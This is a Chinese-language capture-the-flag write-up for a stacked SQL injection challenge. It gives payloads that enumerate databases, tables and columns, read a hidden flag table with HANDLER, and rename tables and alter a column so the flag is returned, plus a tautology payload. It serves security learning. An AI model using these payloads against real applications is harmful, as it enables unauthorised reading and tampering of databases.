本道题考查的是sql注入中的堆叠注入
该题只有一个查询框,我们尝试使用联合注入,但是发现select等被过滤了
所以我们尝试使用堆叠注入,堆叠注入就是使用分号隔开要执行的多条sql语句,且可执行任意的sql语句,而union联合注入执行的语句类型是有限的
执行以下payload:
1';show databases;#
1';show tables from supersqli;#
然后我们依次查看两个表中的列名,再爆字段
1';show columns from `1919810931114514`;#
我们找到了flag列,但是select被过滤我们只能尝试其他方法
方法一: handler查询
有关handler的姿势可看这篇文章:
payload如下:
-1';handler `1919810931114514` open as p;handler p read first;#
方法二:改名法
这道题没有过滤rename和alter,我们先康康正常查询的时候查的是哪个表
猜测一下默认查的是supersqli库的words表
-1';handler words open as a;handler a read next;#
这里查询的结果和直接输入1是一样的,这样验证了我们的猜想,所以接下来我们把表1919810931114514改成words,字段名flag改为id然后直接查询就可以得到flag了
改名的语法介绍可参考以下文章:
https://www.jianshu.com/p/e05b8852b725
https://blog.csdn.net/y_18800130246/article/details/120288110
1';rename tables words to words1;rename tables `1919810931114514` to words; alter table words change flag id varchar(100);#
1' or 1=1#